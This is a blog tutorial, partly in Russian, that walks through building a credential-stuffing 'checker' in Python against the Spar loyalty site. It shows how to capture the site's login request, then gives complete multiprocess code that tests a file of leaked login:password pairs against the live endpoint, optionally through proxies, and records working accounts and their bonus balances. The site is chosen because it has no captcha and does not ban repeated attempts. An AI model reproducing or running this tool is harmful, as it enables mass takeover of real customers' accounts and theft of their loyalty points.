Smiley face
Smiley face

Tuesday, May 24, 2022

How to write your own checker in python


This article tells and shows how to write your own checker, what you need for this and where to get it

To get started, we need

1)Python latest version (optional, but it's always better to download the latest version), direct link to download the latest version
https://www.python.org/ftp/python/3.8.3/python-3.8.3.exe

2) If you want to use the example of this article to write your checker to another site that you need, then you will need a development environment,
for python, the best and most (as for me) environment is Pycharm, you can download it from the JetBrains official website
https://www.jetbrains.com/en-us/pycharm/download/download-thanks.html?platform=windows&code=PCC

I will show you how to write a checker on the example of the Spara site, there is no captcha on it and it does not ban for spam

First of all, we need a valid account on the Spara website
We go to the site, enter the login password and now the most interesting. We tear off the console using the f12 button,
go to the networks tab, and now click Login, now in a bunch of requests we are looking for something similar to login / auth / and something,
which looks like a request to the authorization script, at the bottom we should see our post request of this kind


AUTH_FORM: Y
TYPE: AUTH
backurl: /local/ajax/user/auth/
USER_LOGIN: 899999999
username: 899999999
USER_PASSWORD: password123
USER_REMEMBER: Y
Login: Y

AUTH_FORM=Y&TYPE=AUTH&backurl=%2Flocal%2Fajax%2Fuser%2Fauth%2F&USER_LOGIN=899999999&username=899999999&USER_PASSWORD=password123&USER_REMEMBER=Y&Login=Y

We are not leaving yet, now we are looking at our profile page, here we see the name and number of bonuses on the card


open html in the console and copy the line with bonuses


<span class="header-control__text-desc">8 bonuses</span>

Now we can go to Pycharm and start coding
Launch the environment and click Create new project


After loading and creating the project, go to File -> Setting -> Project Iterpreter


Click the plus sign on the right side of the window and **** search for requests, there you will automatically select the desired library, click install package


Now click on the folder on the left with the right mouse button new -> python file -> select the name of your file and create it


The first thing we need to do is import the necessary libraries for work

import requests
from multiprocessing import Process, Queue, Value

We need the first library to create requests to the site and receive responses from it
The second library is needed for threads

Let's start writing the script

if __name__ == "__main__":
    count = 100 #Количество потоков
    queue = Queue() #очередь откуда будут браться данные для наших потоков

Так как у вас скорее всего будет база аккаунтов то я покажу как доставать аккаунты из этой базы

    with open("baza.txt", "r", encoding="utf-8") as fileToCHeck:
        for line in fileToCHeck.readlines():
            queue.put(line)
            print(line+"\r")
    fileToCHeck.close()

Now our lines are loaded in our turn
Launching our flows

for i in range(0, count):
proc = Process(target=checkValid, args=(queue,))
proc.start()
queue.close() #Закрываем очередь

Now let's write a check function for our streams

def checkValid(queue):
    while(queue.empty() == False):
        try:
            line = queue.get()[:-1]
            logPass = []
            if ':' in line:
                logPass = line.split(':')
            if ';' in line:
                logPass = line.split(';')

            user_login = logPass[0]
            user_pass = logPass[1]
            data = {'AUTH_FORM': 'Y', 'TYPE': 'AUTH', 'backurl': '/personal/', "USER_LOGIN": user_login, #Вот и наш post запрос
                    'username': user_login,
                    'USER_PASSWORD': user_pass, 'USER_REMEMBER': 'Y', 'Login': 'Y'}
            s = requests.Session()
            s.get("https://myspar.ru/personal/")
            resp = s.post("https://myspar.ru/personal/?login=yes", data=data)
            try:
                bonuses = re.search('<span class="header-control__text-desc">.*</span>', resp.text)
                bonuses = re.search(">.*<", bonuses.group(0))
                bonuses = bonuses.group(0)
                file = open("checked.txt", "a")
                file.write("Phone: " + str(user_login) + "\nPassword: " + str(user_pass) + "\nBonuses: " + str(
                    bonuses[1:-1] + "\n\n\n"))
                file.close()
                s.close()
            except:
                continue
        except:
            continue

What are we doing here.
1) We pass our queue with strings to the function
2) Split the line and cut out the line break character "\n"

line = queue.get()[:-1]
            logPass = []
            if ':' in line:
                logPass = line.split(':')
            if ';' in line:
                logPass = line.split(';')

3) We form a post request based on the request from the beginning and insert our varying values ​​\u200b\u200bin there, in this case this is a phone number and password
4) We create a session that will automatically accept, save and transfer cookies between pages,
We first go to the main page of the spar to get the initial cookie to show that we are a regular user, otherwise 90% of the sites
won't let me log in
5) Now we make a post request to the login script and pass our data there
6) The server gave us an html page, we parse it for a line with bonuses, if they are found, then the account is valid and we record information from it
to textbook
7) Close the file, close the connection and start the loop over with a new line

As soon as the queue is empty, the threads will finish their work one by one.

If you want to use proxies in your checker, then take a bunch of proxies, read them in the same way from the text reader as the lines with the log:pass
and pass them to streams

myProxies = {"https://223.241.2.199:4216"}
    s.get("https://myspar.ru/personal/", proxies=myProxies)
    resp = s.post("https://myspar.ru/personal/?login=yes", data=data,proxies=myProxies)

At the output, if you had valid accounts, then in a text file you will see this:

Phone: 8999999999
Password: password123
Bonuses: 233 бонуса

import requests
from multiprocessing import Process, Queue, Value
import re
import sys




def checkValid(queue):
    while(queue.empty() == False):
        try:
            line = queue.get()[:-1]
            if ':' in line:
                c = line.split(':')
            if ';' in line:
                c = line.split(';')

            user_login = c[0]
            user_pass = c[1]
            data = {'AUTH_FORM': 'Y', 'TYPE': 'AUTH', 'backurl': '/personal/', "USER_LOGIN": user_login,
                    'username': user_login,
                    'USER_PASSWORD': user_pass, 'USER_REMEMBER': 'Y', 'Login': 'Y'}
            s = requests.Session()
            s.get("https://myspar.ru/personal/")
            resp = s.post("https://myspar.ru/personal/?login=yes", data=data)
            try:
                bonuses = re.search('<span class="header-control__text-desc">.*</span>', resp.text)
                bonuses = re.search(">.*<", bonuses.group(0))
                bonuses = bonuses.group(0)
                file = open("checked.txt", "a")
                file.write("Phone: " + str(user_login) + "\nPassword: " + str(user_pass) + "\nBonuses: " + str(
                    bonuses[1:-1] + "\n\n\n"))
                file.close()
                s.close()
            except:
                s.close()
                continue
        except:
            continue

def createProc(queue, count):
    for i in range(0, count):
        proc = Process(target=checkValid, args=(queue,))
        proc.start()
    queue.close()

if __name__ == "__main__":
    count = 100
    queue = Queue()
    with open("baza.txt", "r", encoding="utf-8") as fileToCHeck:
        for line in fileToCHeck.readlines():
            queue.put(line)
            print(line+"\r")
    fileToCHeck.close()
    createProc(queue, count)
    print("Запускается", count," потоков")

0 Comments:

Post a Comment

Smiley face
Smiley face